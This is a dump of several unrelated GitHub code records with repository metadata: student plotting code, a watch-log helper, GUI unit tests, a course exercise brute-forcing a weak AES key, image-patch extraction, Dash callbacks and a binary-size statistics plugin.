0.4)\nplt.ylabel('Age')\nplt.xlabel('BloodPressure')\nplt.title(\"bar graph\")\nplt.show()\nplt.pie(y)\nplt.show()\n\n\n# In[ ]:\n\n\n\n\n", "repo_name": "Sowmya8618/DS_assignment1", "sub_path": "DS Assignment-1.py", "file_name": "DS Assignment-1.py", "file_ext": "py", "file_size_in_byte": 1713, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "54", "api": [{"api_name": "numpy.array", "line_number": 9, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 10, "usage_type": "call"}, {"api_name": "numpy.add", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.subtract", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.multiply", "line_number": 16, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 27, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 35, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 37, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 38, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 42, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 44, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 49, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 53, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 57, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 72, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 73, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 74, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 75, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 75, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 76, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 78, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 78, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 80, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 80, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 81, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 81, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 82, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 82, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 83, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 83, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.pie", "line_number": 84, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 84, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 85, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 85, "usage_type": "name"}]} +{"seq_id": "74067325921", "text": "from datetime import datetime,date\n\ndef watch_log(name,ep_number,last_ep):\n '''\n function to create a watch log\n '''\n \n current_date = date.today()\n now = datetime.now()\n current_time = now.strftime(\"%H:%M:%S\")\n with open(\"watch_log.txt\",\"a\") as f:\n f.write(\"[\"+str(current_date) + \":\" + current_time + \"] Starting \" + name+\": episode-\"+ep_number+\":\"+str(last_ep)+\"\\n\")\n f.close()\n", "repo_name": "alpha-hexor/animux", "sub_path": "codebase/log.py", "file_name": "log.py", "file_ext": "py", "file_size_in_byte": 415, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "54", "api": [{"api_name": "datetime.date.today", "line_number": 8, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 8, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 9, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 9, "usage_type": "name"}]} +{"seq_id": "6294805832", "text": "from unittest.mock import Mock\n\nfrom vispy.scene.events import SceneMouseEvent\n\nfrom slicereg.gui.app_model import AppModel\nfrom slicereg.gui.slice_window import SliceView, SliceViewModel\nfrom slicereg.utils.introspection import get_public_attrs\n\n\ndef test_slice_view_launches_without_errors(qtbot):\n view = SliceView(_model=SliceViewModel(_model=Mock(AppModel)))\n qtbot.addWidget(view.qt_widget)\n\n\ndef test_slice_view_updates_without_error_for_all_viewmodel_fields(qtbot):\n for attr in get_public_attrs(SliceViewModel):\n model = SliceViewModel(_model=Mock(AppModel))\n view = SliceView(_model=model)\n qtbot.addWidget(view.qt_widget)\n setattr(model, attr, getattr(model, attr)) # set attribute with its own value\n\n\ndef test_slice_view_triggers_mouse_wheel_viewmodel_mouse_wheel(qtbot):\n model = Mock(SliceViewModel)\n view = SliceView(_model=model)\n qtbot.addWidget(view.qt_widget)\n\n event = Mock(SceneMouseEvent, delta=(1, 5))\n view.mouse_wheel(event)\n model.on_mousewheel_move.assert_called_with(increment=5)\n\n\ndef test_slice_view_triggers_left_mouse_drag_on_viewmodel(qtbot):\n model = Mock(SliceViewModel)\n view = SliceView(_model=model)\n qtbot.addWidget(view.qt_widget)\n\n event = Mock(SceneMouseEvent, pos=(5, 10), button=1)\n event.last_event.pos = (1, 2)\n view.mouse_move(event)\n model.on_left_mouse_drag.assert_called_with(x1=1, y1=2, x2=5, y2=10)\n model.on_right_mouse_drag.assert_not_called()\n\n\ndef test_slice_view_triggers_right_mouse_drag_on_viewmodel(qtbot):\n model = Mock(SliceViewModel)\n view = SliceView(_model=model)\n qtbot.addWidget(view.qt_widget)\n\n event = Mock(SceneMouseEvent, pos=(5, 10), button=2)\n event.last_event.pos = (1, 2)\n view.mouse_move(event)\n model.on_left_mouse_drag.assert_not_called()\n model.on_right_mouse_drag.assert_called_with(x1=1, y1=2, x2=5, y2=10)\n\n\ndef test_slice_view_acknowledges_mouse_press(qtbot):\n model = Mock(SliceViewModel)\n view = SliceView(_model=model)\n qtbot.addWidget(view.qt_widget)\n\n event = Mock(SceneMouseEvent)\n event.handled = False\n view.mouse_press(event)\n assert event.handled == True\n", "repo_name": "brainglobe/slicereg", "sub_path": "slicereg/gui/slice_window/tests/test_slice_view.py", "file_name": "test_slice_view.py", "file_ext": "py", "file_size_in_byte": 2175, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 32, "dataset": "github-code", "pt": "54", "api": [{"api_name": "slicereg.gui.slice_window.SliceView", "line_number": 11, "usage_type": "call"}, {"api_name": "slicereg.gui.slice_window.SliceViewModel", "line_number": 11, "usage_type": "call"}, {"api_name": "unittest.mock.Mock", "line_number": 11, "usage_type": "call"}, {"api_name": "slicereg.gui.app_model.AppModel", "line_number": 11, "usage_type": "argument"}, {"api_name": "slicereg.utils.introspection.get_public_attrs", "line_number": 16, "usage_type": "call"}, {"api_name": "slicereg.gui.slice_window.SliceViewModel", "line_number": 16, "usage_type": "argument"}, {"api_name": "slicereg.gui.slice_window.SliceViewModel", "line_number": 17, "usage_type": "call"}, {"api_name": "unittest.mock.Mock", "line_number": 17, "usage_type": "call"}, {"api_name": "slicereg.gui.app_model.AppModel", "line_number": 17, "usage_type": "argument"}, {"api_name": "slicereg.gui.slice_window.SliceView", "line_number": 18, "usage_type": "call"}, {"api_name": "unittest.mock.Mock", "line_number": 24, "usage_type": "call"}, {"api_name": "slicereg.gui.slice_window.SliceViewModel", "line_number": 24, "usage_type": "argument"}, {"api_name": "slicereg.gui.slice_window.SliceView", "line_number": 25, "usage_type": "call"}, {"api_name": "unittest.mock.Mock", "line_number": 28, "usage_type": "call"}, {"api_name": "vispy.scene.events.SceneMouseEvent", "line_number": 28, "usage_type": "argument"}, {"api_name": "unittest.mock.Mock", "line_number": 34, "usage_type": "call"}, {"api_name": "slicereg.gui.slice_window.SliceViewModel", "line_number": 34, "usage_type": "argument"}, {"api_name": "slicereg.gui.slice_window.SliceView", "line_number": 35, "usage_type": "call"}, {"api_name": "unittest.mock.Mock", "line_number": 38, "usage_type": "call"}, {"api_name": "vispy.scene.events.SceneMouseEvent", "line_number": 38, "usage_type": "argument"}, {"api_name": "unittest.mock.Mock", "line_number": 46, "usage_type": "call"}, {"api_name": "slicereg.gui.slice_window.SliceViewModel", "line_number": 46, "usage_type": "argument"}, {"api_name": "slicereg.gui.slice_window.SliceView", "line_number": 47, "usage_type": "call"}, {"api_name": "unittest.mock.Mock", "line_number": 50, "usage_type": "call"}, {"api_name": "vispy.scene.events.SceneMouseEvent", "line_number": 50, "usage_type": "argument"}, {"api_name": "unittest.mock.Mock", "line_number": 58, "usage_type": "call"}, {"api_name": "slicereg.gui.slice_window.SliceViewModel", "line_number": 58, "usage_type": "argument"}, {"api_name": "slicereg.gui.slice_window.SliceView", "line_number": 59, "usage_type": "call"}, {"api_name": "unittest.mock.Mock", "line_number": 62, "usage_type": "call"}, {"api_name": "vispy.scene.events.SceneMouseEvent", "line_number": 62, "usage_type": "argument"}]} +{"seq_id": "1882468776", "text": "from Crypto.Cipher import AES\nfrom Crypto.Util import Counter\n \niv = open('2015_10_01_18_57_40_gonzalo.diez.puerta_trasera.enc', 'rb').read()[:16]\n \ndef toHex(s):\n lst = []\n for ch in s:\n hv = hex(ord(ch)).replace('0x', '')\n if len(hv) == 1:\n hv = '0'+hv\n lst.append(hv)\n \n return reduce(lambda x,y:x+y, lst)\n\nfor i in range(256):\n k = [chr(ord(x)^i) for x in iv]\n k = ''.join(k)\n obj = AES.new(k, AES.MODE_CBC, iv)\n \n decr = obj.decrypt(open('2015_10_01_18_57_40_gonzalo.diez.puerta_trasera.enc','rb').read())\n\n last = len(decr)-1\n\n padding = int(toHex(decr[last]),16)\n\n bueno = True\n\n if padding > 15:\n bueno = False\n else:\n for j in range(padding,0, -1):\n # print (j, last, last-(j-padding))\n if int(toHex(decr[last+(j-padding)]),16) == padding:\n decr = decr[:-1]\n else:\n bueno = False\n # print \"malo \", i\n if bueno:\n open('resultados/'+str(i)+'.txt', 'wb').write(decr)", "repo_name": "Pinkii-/Cripto", "sub_path": "practica4/aessrg.py", "file_name": "aessrg.py", "file_ext": "py", "file_size_in_byte": 1036, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "54", "api": [{"api_name": "Crypto.Cipher.AES.new", "line_number": 19, "usage_type": "call"}, {"api_name": "Crypto.Cipher.AES", "line_number": 19, "usage_type": "name"}, {"api_name": "Crypto.Cipher.AES.MODE_CBC", "line_number": 19, "usage_type": "attribute"}]} +{"seq_id": "33961157184", "text": "# import xlrd\n# from xlutils.copy import copy\n# #------------------------------------------------\n# def agg(list,delimiter,num=1,subtotal=sum):\n# l = [int(x.split(delimiter)[num]) for x in list]\n# return subtotal(l)\n# #------------------------------------------------\n#\n# wb=xlrd.open_workbook('2018年业绩表.xls')\n# ws=wb.sheet_by_name('2018业绩表')\n# nwb=copy(wb);nws=nwb.get_sheet('2018业绩表')\n# r=0\n# while r= data.shape[i]:\n return (data.shape[i] - bbox), data.shape[i]\n return int(centroid[i]) - int(bbox / 2),int(centroid[i]) + int(bbox / 2)\n\ndef divide_data(bbox, label_list,data_list, root_data_path,root_label_path,label_save_path,data_save_path):\n\n for i in tqdm.tqdm(range(len(data_list))):\n data_file = data_list[i]\n label_file = label_list[i]\n data = nib.load(os.path.join(root_data_path, data_file)).get_data()\n label = nib.load(os.path.join(root_label_path, label_file)).get_data()\n property = measure.regionprops(label)\n for idx in range(len(property)):\n centroid = property[idx].centroid\n low_1,high_1= adjust_border( centroid, 0, bbox, data)\n low_2,high_2= adjust_border( centroid, 1, bbox, data)\n low_3,high_3= adjust_border( centroid, 2, bbox, data)\n box = data[low_1:high_1, low_2:high_2, low_3:high_3].astype(np.int16)\n target_box = label[low_1:high_1, low_2:high_2, low_3:high_3].astype(np.int16)\n precessed_data_file = os.path.join(data_save_path, data_file.split('-')[0] + '-' + str(idx + 1) + \"-image\")\n precessed_label_file = os.path.join(label_save_path, label_file.split('-')[0] + '-' + str(idx + 1) + \"-label\")\n np.save(precessed_data_file, box.reshape(1, *(box.shape)))\n np.save(precessed_label_file, target_box.reshape(1, *(box.shape)))\n\n num_empty = len(property)\n\n for idx in range(num_empty):\n low_1 = random.randint(0, data.shape[0] - bbox)\n high_1 = low_1 + bbox\n low_2 = random.randint(0, data.shape[1] - bbox)\n high_2 = low_2 + bbox\n low_3 = random.randint(0, data.shape[2] - bbox)\n high_3 = low_3 + bbox\n box = data[low_1:high_1, low_2:high_2, low_3:high_3].astype(np.int16)\n target_box = label[low_1:high_1, low_2:high_2, low_3:high_3].astype(np.int16)\n precessed_data_file = os.path.join(data_save_path, data_file.split('-')[0] + '-' + str(idx + 1 + num_empty) + \"-image\")\n precessed_label_file = os.path.join(label_save_path, label_file.split('-')[0] + '-' + str(idx + 1 + num_empty) + \"-label\")\n np.save(precessed_data_file, box.reshape(1, *(box.shape)))\n np.save(precessed_label_file, target_box.reshape(1, *(box.shape)))\n\n\ndef Divide_data():\n ROOT = os.path.join(os.getcwd(), 'dataset')\n process_path = os.path.join(ROOT, 'processed_data')\n train_data_path = os.path.join(process_path, \"train_data\")\n valid_data_path = os.path.join(process_path, 'val_data')\n test_data_path = os.path.join(ROOT, 'origin_data', 'test_data')\n train_label_path = os.path.join(process_path, 'train_label')\n valid_label_path = os.path.join(process_path, 'val_label')\n valid_test_like_path = os.path.join(ROOT, 'origin_data', 'val_data')\n origin_path = os.path.join(ROOT, 'origin_data')\n bbox=64\n \n\n #train data\n label_list = list(os.listdir(train_label_path))\n data_list = list(os.listdir(train_data_path))\n root_data_path = os.path.join(origin_path, 'train_data')\n root_label_path = os.path.join(origin_path, 'train_label')\n label_save_path = os.path.join(process_path,'train_label')\n data_save_path = os.path.join(process_path, 'train_data')\n divide_data(bbox,label_list,data_list, root_data_path,root_label_path,label_save_path,data_save_path)\n\n #val data\n label_list = list(os.listdir(valid_label_path))\n data_list = list(os.listdir(valid_data_path))\n root_data_path = os.path.join(origin_path, 'val_data')\n root_label_path = os.path.join(origin_path, 'val_label')\n label_save_path = os.path.join(process_path, 'val_label')\n data_save_path = os.path.join(process_path, 'val_data')\n divide_data(bbox,label_list,data_list, root_data_path,root_label_path,label_save_path,data_save_path)\n\n", "repo_name": "Guo-Yizhen/machine_learning_homework_", "sub_path": "divide_data_.py", "file_name": "divide_data_.py", "file_ext": "py", "file_size_in_byte": 4229, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "54", "api": [{"api_name": "os.environ", "line_number": 2, "usage_type": "attribute"}, {"api_name": "tqdm.tqdm", "line_number": 21, "usage_type": "call"}, {"api_name": "nibabel.load", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path", "line_number": 24, "usage_type": "attribute"}, {"api_name": "nibabel.load", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "skimage.measure.regionprops", "line_number": 26, "usage_type": "call"}, {"api_name": "skimage.measure", "line_number": 26, "usage_type": "name"}, {"api_name": "numpy.int16", "line_number": 32, "usage_type": "attribute"}, {"api_name": "numpy.int16", "line_number": 33, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path", "line_number": 34, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path", "line_number": 35, "usage_type": "attribute"}, {"api_name": "numpy.save", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 37, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 42, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 44, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.int16", "line_number": 48, "usage_type": "attribute"}, {"api_name": "numpy.int16", "line_number": 49, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path", "line_number": 50, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path", "line_number": 51, "usage_type": "attribute"}, {"api_name": "numpy.save", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 53, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path", "line_number": 57, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 58, "usage_type": "call"}, {"api_name": "os.path", "line_number": 58, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 59, "usage_type": "call"}, {"api_name": "os.path", "line_number": 59, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 60, "usage_type": "call"}, {"api_name": "os.path", "line_number": 60, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 61, "usage_type": "call"}, {"api_name": "os.path", "line_number": 61, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 62, "usage_type": "call"}, {"api_name": "os.path", "line_number": 62, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path", "line_number": 63, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 64, "usage_type": "call"}, {"api_name": "os.path", "line_number": 64, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 65, "usage_type": "call"}, {"api_name": "os.path", "line_number": 65, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 70, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 71, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 72, "usage_type": "call"}, {"api_name": "os.path", "line_number": 72, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 73, "usage_type": "call"}, {"api_name": "os.path", "line_number": 73, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 74, "usage_type": "call"}, {"api_name": "os.path", "line_number": 74, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 75, "usage_type": "call"}, {"api_name": "os.path", "line_number": 75, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 79, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 80, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 81, "usage_type": "call"}, {"api_name": "os.path", "line_number": 81, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 82, "usage_type": "call"}, {"api_name": "os.path", "line_number": 82, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 83, "usage_type": "call"}, {"api_name": "os.path", "line_number": 83, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 84, "usage_type": "call"}, {"api_name": "os.path", "line_number": 84, "usage_type": "attribute"}]} +{"seq_id": "39131498579", "text": "import dash\nimport dash_core_components as dcc\nimport dash_daq as daq\nimport dash_html_components as html\nfrom dash.dependencies import Input, Output, State, MATCH\nfrom dash.exceptions import PreventUpdate\n\nimport bisect\nimport json\nimport pandas as pd\nimport base64\n\n\nimport MDDClass as mc\nimport app_util as au\n\n\ndef mdd_callbacks(app):\n\n @app.callback(\n [Output('start_dataslice', 'children'),\n Output('stop_dataslice', 'children'),\n Output('slider_dataslice', 'children'),\n Output('valid_values', 'children')],\n [Input('metadata', 'data')]\n )\n def dataslice_inputs(metadata):\n data_start, data_stop = [], []\n data_slider, validvals = [], []\n for i, row in enumerate(metadata):\n data_start.append(\n dcc.Input(\n id={'type': 'data_start', 'index': i},\n type='text',\n value=row['Values'][0],\n style={\n 'marginBottom': 12,\n 'width': 50\n }\n )\n )\n\n data_stop.append(\n dcc.Input(\n id={'type': 'data_stop', 'index': i},\n type='text',\n value=row['Values'][-1],\n style={\n 'marginBottom': 12,\n 'width': 50\n }\n )\n )\n\n data_slider.append(\n html.Div(\n dcc.RangeSlider(\n id={'type': 'data_slider', 'index': i},\n min=row['Values'][0],\n max=row['Values'][-1],\n marks={j: '' for j in row['Values']},\n step=None,\n value=[row['Values'][0], row['Values'][-1]]\n ),\n style={\n 'marginBottom': 11\n }\n )\n )\n\n validvals.append(\n dcc.Store(\n id={'type': 'validvals', 'index': i},\n data=row['Values']\n )\n )\n\n return data_start, data_stop, data_slider, validvals\n\n @app.callback(\n Output({'type': 'data_slider', 'index': MATCH}, 'value'),\n [Input({'type': 'data_start', 'index': MATCH}, 'n_blur'),\n Input({'type': 'data_stop', 'index': MATCH}, 'n_blur')],\n [State({'type': 'data_start', 'index': MATCH}, 'value'),\n State({'type': 'data_stop', 'index': MATCH}, 'value'),\n State({'type': 'validvals', 'index': MATCH}, 'data')]\n )\n def update_dataslider(nstart, nstop, start, stop, validval):\n if nstart is not None or nstop is not None:\n try:\n start_ind = bisect.bisect_left(validval, float(start))\n stop_ind = bisect.bisect_left(validval, float(stop))\n\n if start_ind >= len(validval):\n start_ind = len(validval) - 1\n if stop_ind >= len(validval):\n stop_ind = len(validval) - 1\n if stop_ind < start_ind:\n stop_ind = start_ind\n\n start = validval[start_ind]\n stop = validval[stop_ind]\n value = [start, stop]\n return value\n except:\n raise PreventUpdate\n\n @app.callback(\n [Output({'type': 'data_start', 'index': MATCH}, 'value'),\n Output({'type': 'data_stop', 'index': MATCH}, 'value')],\n [Input({'type': 'data_slider', 'index': MATCH}, 'value')]\n )\n def update_datastartstop(sliderval):\n return sliderval[0], sliderval[1]\n\n @app.callback(\n Output('add_data', 'contents'),\n [Input('add_data_button', 'n_clicks')]\n )\n def clear_add_data_component(nclicks):\n if nclicks > 0:\n return ''\n\n # Create and add data to mdd\n @app.callback(\n [Output('mdd', 'data'),\n Output('graphparam_confirm', 'n_clicks')],\n [Input('metadata', 'data'),\n Input('load', 'contents'),\n Input('add_data', 'contents')],\n [State('mdd', 'data'),\n State('start_dataslice', 'children'),\n State('stop_dataslice', 'children'),\n State('data_headers', 'value'),\n State('graphparam_confirm', 'n_clicks')]\n )\n def create_mdd(\n meta, load, add_data,\n mdd_state, start_dataslice, stop_dataslice,\n data_headers, nclicks\n ):\n meta = pd.DataFrame(meta)\n ctx = dash.callback_context\n if ctx.triggered[-1]['prop_id'] == 'metadata.data':\n if ctx.triggered[0]['prop_id'] == 'load.contents':\n load = load.split(',')[1]\n decoded = base64.b64decode(load)\n zip_str = BytesIO(decoded)\n zip_obj = zipfile.ZipFile(zip_str, 'r')\n\n mdd_csv = zip_obj.read('mdd.csv')\n mdd = pd.read_csv(BytesIO(mdd_csv))\n return mdd.to_dict('records'), nclicks\n else:\n mdd = mc.MDD(meta)\n return mdd.dataDF.to_dict('records'), nclicks + 1\n\n elif (\n ctx.triggered[-1]['prop_id'] == 'add_data.contents'\n and add_data is not ''\n ):\n mdd = mc.MDD(\n meta\n )\n mdd.dataDF = pd.DataFrame(mdd_state)\n\n headers = data_headers.split(',')\n data = au.load_data(add_data, usecols=headers, rtype='arr')\n\n indices = {}\n for i in range(len(start_dataslice)):\n ax = meta['Axis'][i]\n start = start_dataslice[i]['props']['value']\n stop = stop_dataslice[i]['props']['value']\n\n indices[ax] = (start, stop)\n\n mdd.add_data(data, indices)\n return mdd.dataDF.to_dict('records'), nclicks + 1\n else:\n raise PreventUpdate\n", "repo_name": "lwang94/MDD", "sub_path": "app_callbacks/callbacks_newmdd.py", "file_name": "callbacks_newmdd.py", "file_ext": "py", "file_size_in_byte": 6012, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "54", "api": [{"api_name": "dash_core_components.Input", "line_number": 32, "usage_type": "call"}, {"api_name": "dash_core_components.Input", "line_number": 44, "usage_type": "call"}, {"api_name": "dash_html_components.Div", "line_number": 56, "usage_type": "call"}, {"api_name": "dash_core_components.RangeSlider", "line_number": 57, "usage_type": "call"}, {"api_name": "dash_core_components.Store", "line_number": 72, "usage_type": "call"}, {"api_name": "dash.dependencies.Output", "line_number": 21, "usage_type": "call"}, {"api_name": "dash.dependencies.Output", "line_number": 22, "usage_type": "call"}, {"api_name": "dash.dependencies.Output", "line_number": 23, "usage_type": "call"}, {"api_name": "dash.dependencies.Output", "line_number": 24, "usage_type": "call"}, {"api_name": "dash.dependencies.Input", "line_number": 25, "usage_type": "call"}, {"api_name": "bisect.bisect_left", "line_number": 91, "usage_type": "call"}, {"api_name": "bisect.bisect_left", "line_number": 92, "usage_type": "call"}, {"api_name": "dash.exceptions.PreventUpdate", "line_number": 106, "usage_type": "name"}, {"api_name": "dash.dependencies.Output", "line_number": 81, "usage_type": "call"}, {"api_name": "dash.dependencies.MATCH", "line_number": 81, "usage_type": "name"}, {"api_name": "dash.dependencies.Input", "line_number": 82, "usage_type": "call"}, {"api_name": "dash.dependencies.MATCH", "line_number": 82, "usage_type": "name"}, {"api_name": "dash.dependencies.Input", "line_number": 83, "usage_type": "call"}, {"api_name": "dash.dependencies.MATCH", "line_number": 83, "usage_type": "name"}, {"api_name": "dash.dependencies.State", "line_number": 84, "usage_type": "call"}, {"api_name": "dash.dependencies.MATCH", "line_number": 84, "usage_type": "name"}, {"api_name": "dash.dependencies.State", "line_number": 85, "usage_type": "call"}, {"api_name": "dash.dependencies.MATCH", "line_number": 85, "usage_type": "name"}, {"api_name": "dash.dependencies.State", "line_number": 86, "usage_type": "call"}, {"api_name": "dash.dependencies.MATCH", "line_number": 86, "usage_type": "name"}, {"api_name": "dash.dependencies.Output", "line_number": 109, "usage_type": "call"}, {"api_name": "dash.dependencies.MATCH", "line_number": 109, "usage_type": "name"}, {"api_name": "dash.dependencies.Output", "line_number": 110, "usage_type": "call"}, {"api_name": "dash.dependencies.MATCH", "line_number": 110, "usage_type": "name"}, {"api_name": "dash.dependencies.Input", "line_number": 111, "usage_type": "call"}, {"api_name": "dash.dependencies.MATCH", "line_number": 111, "usage_type": "name"}, {"api_name": "dash.dependencies.Output", "line_number": 117, "usage_type": "call"}, {"api_name": "dash.dependencies.Input", "line_number": 118, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 142, "usage_type": "call"}, {"api_name": "dash.callback_context", "line_number": 143, "usage_type": "attribute"}, {"api_name": "base64.b64decode", "line_number": 147, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 152, "usage_type": "call"}, {"api_name": "MDDClass.MDD", "line_number": 155, "usage_type": "call"}, {"api_name": "MDDClass.MDD", "line_number": 162, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 165, "usage_type": "call"}, {"api_name": "app_util.load_data", "line_number": 168, "usage_type": "call"}, {"api_name": "dash.exceptions.PreventUpdate", "line_number": 181, "usage_type": "name"}, {"api_name": "dash.dependencies.Output", "line_number": 126, "usage_type": "call"}, {"api_name": "dash.dependencies.Output", "line_number": 127, "usage_type": "call"}, {"api_name": "dash.dependencies.Input", "line_number": 128, "usage_type": "call"}, {"api_name": "dash.dependencies.Input", "line_number": 129, "usage_type": "call"}, {"api_name": "dash.dependencies.Input", "line_number": 130, "usage_type": "call"}, {"api_name": "dash.dependencies.State", "line_number": 131, "usage_type": "call"}, {"api_name": "dash.dependencies.State", "line_number": 132, "usage_type": "call"}, {"api_name": "dash.dependencies.State", "line_number": 133, "usage_type": "call"}, {"api_name": "dash.dependencies.State", "line_number": 134, "usage_type": "call"}, {"api_name": "dash.dependencies.State", "line_number": 135, "usage_type": "call"}]} +{"seq_id": "2015131572", "text": "\"\"\"\nGroups data into categories and returns statistics about each category.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport inspect\nfrom dataclasses import dataclass\nfrom pathlib import Path\nfrom typing import TYPE_CHECKING, Callable\n\nif TYPE_CHECKING: # pragma: no cover\n from ..lib.api import BinarySizeAPI, DataRow\n\n\n@dataclass\nclass CategoryStatistics:\n category: str | None\n size: int\n symbol_amount: int\n\n def format(self) -> str:\n return f\"{self.size:>10_}: {str(self.category):<20} ({self.symbol_amount:>5_} symbols)\"\n\n\n@dataclass\nclass CategoryRow:\n category: str | None\n data_row: DataRow\n\n def format(self) -> str:\n return f\"{str(self.category):<15}: {self.data_row.format()}\"\n\n\nclass StatisticsPlugin:\n def __init__(\n self,\n binary_size: BinarySizeAPI,\n categories_func: Callable[[DataRow], str | None],\n ):\n self.binary_size = binary_size\n # Function that takes a row and returns a string, that will be\n # used as a category for the row. Returns None if no category matches.\n self.categories_func = categories_func\n self.row_data_with_category = self._include_category_data()\n\n def get(self) -> list[CategoryStatistics]:\n return self._get_categories_statistics()\n\n def show_data_with_categories(\n self, file_to_save: str | Path | None = None, include_none: bool = False\n ) -> None:\n final_output = \"\\n\".join(\n category_row.format() for category_row in self.row_data_with_category\n )\n\n _show(final_output, file_to_save)\n\n def show(\n self,\n file_to_save: str | Path | None = None,\n include_none: bool = False,\n include_categories_func: bool = False,\n ) -> None:\n statistics_data = self._get_categories_statistics()\n final_output = _get_printable_output(\n statistics_data, is_file=file_to_save is not None, include_none=include_none\n )\n\n # Optionally including the categories function definition for\n # documentation and replication purposes\n if include_categories_func:\n final_output = f\"{inspect.getsource(self.categories_func)}\\n{final_output}\"\n\n _show(final_output, file_to_save)\n\n def _include_category_data(self) -> list[CategoryRow]:\n return [\n CategoryRow(category=self.categories_func(row), data_row=row)\n for row in self.binary_size.get()\n ]\n\n def _get_all_categories(self) -> set[str | None]:\n return set([row.category for row in self.row_data_with_category])\n\n def _get_categories_statistics(self) -> list[CategoryStatistics]:\n 